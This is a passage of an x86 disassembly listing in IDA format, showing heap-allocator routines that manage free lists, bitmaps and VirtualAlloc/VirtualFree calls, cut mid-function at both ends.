		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_419DC6
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_419DEA
; ---------------------------------------------------------------------------


loc_419DC6:				; CODE XREF: sub_419C82+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_419DEA:				; CODE XREF: sub_419C82+11Ej
					; sub_419C82+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_419E02:				; CODE XREF: sub_419C82+113j
		mov	edx, [ebp+var_8]


loc_419E05:				; CODE XREF: sub_419C82+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_419E14
		cmp	[ebp+arg_4], edi
		jz	loc_419E9D


loc_419E14:				; CODE XREF: sub_419C82+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419E9D
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419E71
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419E60
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419E60:				; CODE XREF: sub_419C82+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_419E9A
; ---------------------------------------------------------------------------


loc_419E71:				; CODE XREF: sub_419C82+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419E87
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419E87:				; CODE XREF: sub_419C82+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_419E9A:				; CODE XREF: sub_419C82+1EDj
		mov	ebx, [ebp+var_C]


loc_419E9D:				; CODE XREF: sub_419C82+18Cj
					; sub_419C82+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_419FA8
		mov	eax, dword_516EB4
		test	eax, eax
		jz	loc_419F9A
		mov	ecx, dword_516EAC
		mov	edi, dword_4211A8
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_516EAC
		mov	eax, dword_516EB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_516EB4
		mov	ecx, dword_516EAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_516EB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_516EB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_419F28
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_516EB4


loc_419F28:				; CODE XREF: sub_419C82+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_419F9A
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_516EB4
		push	dword ptr [eax+10h]
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh
		mov	eax, dword_516EB8
		mov	edx, dword_516EBC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_516EB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D840
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_516EB8
		cmp	eax, dword_516EB4
		jbe	short loc_419F8C
		sub	eax, 14h


loc_419F8C:				; CODE XREF: sub_419C82+305j
		mov	ecx, dword_516EBC
		mov	dword_516EB0, ecx
		jmp	short loc_419F9D
; ---------------------------------------------------------------------------


loc_419F9A:				; CODE XREF: sub_419C82+233j
					; sub_419C82+2AAj
		mov	eax, [ebp+arg_0]


loc_419F9D:				; CODE XREF: sub_419C82+316j
		mov	dword_516EB4, eax
		mov	dword_516EAC, esi


loc_419FA8:				; CODE XREF: sub_419C82+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FAD	proc near		; CODE XREF: sub_417C2C+Ep
					; sub_418C3F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_516EB8
		mov	edx, dword_516EBC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_419FED
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_419FFD
; ---------------------------------------------------------------------------


loc_419FED:				; CODE XREF: sub_419FAD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_419FFD:				; CODE XREF: sub_419FAD+3Ej
		mov	eax, dword_516EB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A024


loc_41A00B:				; CODE XREF: sub_419FAD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A024
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41A00B


loc_41A024:				; CODE XREF: sub_419FAD+5Cj
					; sub_419FAD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41A0A2
		mov	ebx, edx


loc_41A02B:				; CODE XREF: sub_419FAD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A047
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A045
		add	ebx, 14h
		jmp	short loc_41A02B
; ---------------------------------------------------------------------------


loc_41A045:				; CODE XREF: sub_419FAD+91j
		cmp	ebx, eax


loc_41A047:				; CODE XREF: sub_419FAD+83j
		jnz	short loc_41A0A2


loc_41A049:				; CODE XREF: sub_419FAD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41A05F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A05C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41A049
; ---------------------------------------------------------------------------


loc_41A05C:				; CODE XREF: sub_419FAD+A5j
		cmp	ebx, [ebp+var_4]


loc_41A05F:				; CODE XREF: sub_419FAD+9Fj
		jnz	short loc_41A087
		mov	ebx, edx


loc_41A063:				; CODE XREF: sub_419FAD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A077
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A075
		add	ebx, 14h
		jmp	short loc_41A063
; ---------------------------------------------------------------------------


loc_41A075:				; CODE XREF: sub_419FAD+C1j
		cmp	ebx, eax


loc_41A077:				; CODE XREF: sub_419FAD+BBj
		jnz	short loc_41A087
		call	sub_41A2B6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41A09B


loc_41A087:				; CODE XREF: sub_419FAD:loc_41A05Fj
					; sub_419FAD:loc_41A077j
		push	ebx
		call	sub_41A367
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41A0A2


loc_41A09B:				; CODE XREF: sub_419FAD+D8j
		xor	eax, eax
		jmp	loc_41A2B1
; ---------------------------------------------------------------------------


loc_41A0A2:				; CODE XREF: sub_419FAD+7Aj
					; sub_419FAD:loc_41A047j ...
		mov	dword_516EB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41A0C9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A100


loc_41A0C9:				; CODE XREF: sub_419FAD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41A0FD


loc_41A0E6:				; CODE XREF: sub_419FAD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41A0E6


loc_41A0FD:				; CODE XREF: sub_419FAD+137j
		mov	edx, [ebp+var_4]


loc_41A100:				; CODE XREF: sub_419FAD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41A129
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41A129:				; CODE XREF: sub_419FAD+16Dj
					; sub_419FAD+183j
		test	ecx, ecx
		jl	short loc_41A132
		shl	ecx, 1
		inc	edi
		jmp	short loc_41A129
; ---------------------------------------------------------------------------


loc_41A132:				; CODE XREF: sub_419FAD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41A14F
		push	3Fh
		pop	esi


loc_41A14F:				; CODE XREF: sub_419FAD+19Dj
		cmp	esi, edi
		jz	loc_41A264
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A1C0
		cmp	edi, 20h
		jge	short loc_41A18F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41A1BD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41A1C0
; ---------------------------------------------------------------------------


loc_41A18F:				; CODE XREF: sub_419FAD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41A1BD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41A1C0
; ---------------------------------------------------------------------------


loc_41A1BD:				; CODE XREF: sub_419FAD+1D6j
					; sub_419FAD+203j
		mov	ebx, [ebp+arg_0]


loc_41A1C0:				; CODE XREF: sub_419FAD+1B0j
					; sub_419FAD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41A270
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A261
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41A232
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A220
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41A220:				; CODE XREF: sub_419FAD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41A261
; ---------------------------------------------------------------------------


loc_41A232:				; CODE XREF: sub_419FAD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A24B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41A24B:				; CODE XREF: sub_419FAD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41A261:				; CODE XREF: sub_419FAD+24Ej
					; sub_419FAD+283j
		mov	ecx, [ebp+var_8]


loc_41A264:				; CODE XREF: sub_419FAD+1A4j
		test	ecx, ecx
		jz	short loc_41A273
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41A273
; ---------------------------------------------------------------------------


loc_41A270:				; CODE XREF: sub_419FAD+229j
		mov	ecx, [ebp+var_8]


loc_41A273:				; CODE XREF: sub_419FAD+2B9j
					; sub_419FAD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41A2A9
		cmp	ebx, dword_516EB4
		jnz	short loc_41A2A9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_516EAC
		jnz	short loc_41A2A9
		and	dword_516EB4, 0


loc_41A2A9:				; CODE XREF: sub_419FAD+2E0j
					; sub_419FAD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41A2B1:				; CODE XREF: sub_419FAD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2B6	proc near		; CODE XREF: sub_419FAD+CCp
		mov	eax, dword_516EB8
		mov	ecx, dword_516EA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41A2F9
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_516EBC
		push	edi
		push	dword_516EC0
		nop
		call	near ptr 7C9179FDh
		cmp	eax, edi
		jz	short loc_41A349
		add	dword_516EA8, 10h
		mov	dword_516EBC, eax
		mov	eax, dword_516EB8


loc_41A2F9:				; CODE XREF: sub_41A2B6+11j
		mov	ecx, dword_516EBC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_516EC0
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 7C9105D4h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41A349
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 7C809A51h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41A34D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh


loc_41A349:				; CODE XREF: sub_41A2B6+30j
					; sub_41A2B6+67j
		xor	eax, eax
		jmp	short loc_41A364
; ---------------------------------------------------------------------------


loc_41A34D:				; CODE XREF: sub_41A2B6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_516EB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41A364:				; CODE XREF: sub_41A2B6+95j
		pop	edi
		pop	esi
		retn
sub_41A2B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A367	proc near		; CODE XREF: sub_419FAD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41A379:				; CODE XREF: sub_41A367+19j
		test	eax, eax
		jl	short loc_41A382
		shl	eax, 1
		inc	ebx
		jmp	short loc_41A379
; ---------------------------------------------------------------------------


loc_41A382:				; CODE XREF: sub_41A367+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41A397:				; CODE XREF: sub_41A367+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41A397
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 7C809A51h
		test	eax, eax
		jnz	short loc_41A3CA
		or	eax, 0FFFFFFFFh
		jmp	loc_41A45D
; ---------------------------------------------------------------------------


loc_41A3CA:				; CODE XREF: sub_41A367+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41A410
		lea	eax, [edi+10h]


loc_41A3D7:				; CODE XREF: sub_41A367+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41A3D7


loc_41A410:				; CODE XREF: sub_41A367+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41A44D
		or	[eax+4], edi


loc_41A44D:				; CODE XREF: sub_41A367+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41A45D:				; CODE XREF: sub_41A367+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A462	proc near		; CODE XREF: sub_418C3F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41A610
		test	bl, 1
		jnz	loc_41A609
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41A609
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41A4D9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41A4D9:				; CODE XREF: sub_41A462+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41A529
		cmp	ecx, 20h
		jnb	short loc_41A505
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A529
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A529
; ---------------------------------------------------------------------------


loc_41A505:				; CODE XREF: sub_41A462+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A529
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A529:				; CODE XREF: sub_41A462+7Dj
					; sub_41A462+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41A5F7
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41A563
		push	3Fh
		pop	edi


loc_41A563:				; CODE XREF: sub_41A462+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41A5E5
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A5BC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A5AF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A5AF:				; CODE XREF: sub_41A462+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41A5E1
; ---------------------------------------------------------------------------


loc_41A5BC:				; CODE XREF: sub_41A462+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A5D2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A5D2:				; CODE XREF: sub_41A462+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41A5E1:				; CODE XREF: sub_41A462+158j
		shr	edx, cl
		or	[eax], edx


loc_41A5E5:				; CODE XREF: sub_41A462+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A462+E5j
		mov	edx, [ebp+arg_4]


loc_41A5FA:				; CODE XREF: sub_41A462+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41A750
; ---------------------------------------------------------------------------


loc_41A609:				; CODE XREF: sub_41A462+52j
					; sub_41A462+5Cj
		xor	eax, eax
		jmp	loc_41A753
; ---------------------------------------------------------------------------


loc_41A610:				; CODE XREF: sub_41A462+49j
		jge	loc_41A750
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41A63B
		push	3Fh
		pop	esi


loc_41A63B:				; CODE XREF: sub_41A462+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41A6CA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A654
		push	3Fh
		pop	esi


loc_41A654:				; CODE XREF: sub_41A462+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41A6A3
		cmp	esi, 20h
		jnb	short loc_41A67F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41A6A0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A6A0
; ---------------------------------------------------------------------------


loc_41A67F:				; CODE XREF: sub_41A462+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A6A0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A6A0:				; CODE XREF: sub_41A462+214j
					; sub_41A462+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41A6A3:				; CODE XREF: sub_41A462+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A6CA
		push	3Fh
		pop	esi


loc_41A6CA:				; CODE XREF: sub_41A462+1DDj
					; sub_41A462+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41A747
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41A71E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A711
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41A711:				; CODE XREF: sub_41A462+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41A743
; ---------------------------------------------------------------------------


loc_41A71E:				; CODE XREF: sub_41A462+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A734
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41A734:				; CODE XREF: sub_41A462+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


